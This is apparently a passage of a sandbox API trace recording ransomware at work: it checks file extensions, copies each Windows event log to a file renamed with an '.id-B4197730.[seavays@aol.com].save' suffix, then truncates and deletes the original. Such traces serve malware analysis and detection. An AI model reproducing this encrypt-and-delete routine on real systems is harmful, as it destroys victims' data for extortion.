(lpString=".xlsx") returned 5 [0059.794] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.794] lstrlenW (lpString=".ppt") returned 4 [0059.794] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.794] lstrlenW (lpString=".zip") returned 4 [0059.794] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString=".rar") returned 4 [0059.794] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString=".bz2") returned 4 [0059.794] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString=".7z") returned 3 [0059.794] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.794] lstrlenW (lpString=".dbf") returned 4 [0059.794] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.794] lstrlenW (lpString=".1cd") returned 4 [0059.794] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.794] lstrlenW (lpString=".jpg") returned 4 [0059.794] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.795] lstrlenW (lpString=".doc") returned 4 [0059.795] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString=".docx") returned 5 [0059.795] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.795] lstrlenW (lpString=".pdf") returned 4 [0059.795] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString=".xls") returned 4 [0059.795] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString=".xlsx") returned 5 [0059.795] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.795] lstrlenW (lpString=".ppt") returned 4 [0059.795] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.795] lstrlenW (lpString=".zip") returned 4 [0059.795] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString=".rar") returned 4 [0059.795] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString=".bz2") returned 4 [0059.795] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString=".7z") returned 3 [0059.795] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.795] lstrlenW (lpString=".dbf") returned 4 [0059.795] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.795] lstrlenW (lpString=".1cd") returned 4 [0059.795] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.795] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.795] lstrlenW (lpString=".jpg") returned 4 [0059.795] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.796] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.796] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0059.796] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.796] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0059.796] CloseHandle (hObject=0x370) returned 1 [0059.797] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0059.797] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.797] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.797] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0059.798] GetLastError () returned 0x0 [0059.798] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.801] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.803] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0059.803] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x170, lpOverlapped=0x0) returned 1 [0059.803] SetEndOfFile (hFile=0x2ec) returned 1 [0059.803] CloseHandle (hObject=0x2ec) returned 1 [0059.805] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.805] SetEndOfFile (hFile=0x370) returned 1 [0059.807] CloseHandle (hObject=0x370) returned 1 [0059.807] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.807] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0059.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.807] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.807] lstrlenW (lpString=".doc") returned 4 [0059.807] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.807] lstrlenW (lpString=".docx") returned 5 [0059.807] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.807] lstrlenW (lpString=".pdf") returned 4 [0059.807] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.807] lstrlenW (lpString=".xls") returned 4 [0059.807] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.807] lstrlenW (lpString=".xlsx") returned 5 [0059.808] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.808] lstrlenW (lpString=".ppt") returned 4 [0059.808] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.808] lstrlenW (lpString=".zip") returned 4 [0059.808] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString=".rar") returned 4 [0059.808] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString=".bz2") returned 4 [0059.808] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString=".7z") returned 3 [0059.808] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.808] lstrlenW (lpString=".dbf") returned 4 [0059.808] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.808] lstrlenW (lpString=".1cd") returned 4 [0059.808] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.808] lstrlenW (lpString=".jpg") returned 4 [0059.808] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.808] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.808] lstrlenW (lpString=".doc") returned 4 [0059.808] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString=".docx") returned 5 [0059.808] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.808] lstrlenW (lpString=".pdf") returned 4 [0059.808] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString=".xls") returned 4 [0059.808] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.808] lstrlenW (lpString=".xlsx") returned 5 [0059.808] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.809] lstrlenW (lpString=".ppt") returned 4 [0059.809] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.809] lstrlenW (lpString=".zip") returned 4 [0059.809] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.809] lstrlenW (lpString=".rar") returned 4 [0059.809] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.809] lstrlenW (lpString=".bz2") returned 4 [0059.809] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.809] lstrlenW (lpString=".7z") returned 3 [0059.809] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.809] lstrlenW (lpString=".dbf") returned 4 [0059.809] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.809] lstrlenW (lpString=".1cd") returned 4 [0059.809] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.809] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0059.809] lstrlenW (lpString=".jpg") returned 4 [0059.809] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.809] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.809] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0059.809] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.811] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1052672) returned 1 [0059.811] CloseHandle (hObject=0x370) returned 1 [0059.811] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0059.811] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.811] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.811] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.811] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.811] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0059.812] GetLastError () returned 0x0 [0059.812] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0060.399] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0060.419] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x1010, lpOverlapped=0x0) returned 1 [0060.773] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1020, lpOverlapped=0x0) returned 1 [0060.777] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0060.777] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x162, lpOverlapped=0x0) returned 1 [0060.777] SetEndOfFile (hFile=0x2ec) returned 1 [0061.429] CloseHandle (hObject=0x2ec) returned 1 [0061.453] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.453] SetEndOfFile (hFile=0x370) returned 1 [0061.454] CloseHandle (hObject=0x370) returned 1 [0061.454] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.454] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0061.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.455] lstrlenW (lpString=".doc") returned 4 [0061.455] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.455] lstrlenW (lpString=".docx") returned 5 [0061.455] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.455] lstrlenW (lpString=".pdf") returned 4 [0061.455] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.455] lstrlenW (lpString=".xls") returned 4 [0061.455] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.455] lstrlenW (lpString=".xlsx") returned 5 [0061.455] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.455] lstrlenW (lpString=".ppt") returned 4 [0061.455] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.455] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.455] lstrlenW (lpString=".zip") returned 4 [0061.456] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString=".rar") returned 4 [0061.456] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString=".bz2") returned 4 [0061.456] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString=".7z") returned 3 [0061.456] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.456] lstrlenW (lpString=".dbf") returned 4 [0061.456] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.456] lstrlenW (lpString=".1cd") returned 4 [0061.456] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.456] lstrlenW (lpString=".jpg") returned 4 [0061.456] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.456] lstrlenW (lpString=".doc") returned 4 [0061.456] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString=".docx") returned 5 [0061.456] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.456] lstrlenW (lpString=".pdf") returned 4 [0061.456] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString=".xls") returned 4 [0061.456] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString=".xlsx") returned 5 [0061.456] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.456] lstrlenW (lpString=".ppt") returned 4 [0061.456] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.456] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.456] lstrlenW (lpString=".zip") returned 4 [0061.456] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.457] lstrlenW (lpString=".rar") returned 4 [0061.457] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.457] lstrlenW (lpString=".bz2") returned 4 [0061.457] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.457] lstrlenW (lpString=".7z") returned 3 [0061.457] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.457] lstrlenW (lpString=".dbf") returned 4 [0061.457] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.457] lstrlenW (lpString=".1cd") returned 4 [0061.457] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.457] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0061.457] lstrlenW (lpString=".jpg") returned 4 [0061.457] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.457] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.457] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0061.457] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.458] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0061.458] CloseHandle (hObject=0x370) returned 1 [0061.458] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0061.458] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0061.458] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.458] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0061.459] GetLastError () returned 0x0 [0061.459] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.461] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.463] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.463] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x142, lpOverlapped=0x0) returned 1 [0061.463] SetEndOfFile (hFile=0x2ec) returned 1 [0061.463] CloseHandle (hObject=0x2ec) returned 1 [0061.466] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.466] SetEndOfFile (hFile=0x370) returned 1 [0061.467] CloseHandle (hObject=0x370) returned 1 [0061.467] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.467] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0061.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.467] lstrlenW (lpString=".doc") returned 4 [0061.467] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.467] lstrlenW (lpString=".docx") returned 5 [0061.467] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.467] lstrlenW (lpString=".pdf") returned 4 [0061.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString=".xls") returned 4 [0061.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString=".xlsx") returned 5 [0061.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.468] lstrlenW (lpString=".ppt") returned 4 [0061.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0061.468] lstrlenW (lpString=".zip") returned 4 [0061.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.468] lstrlenW (lpString=".rar") returned 4 [0061.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 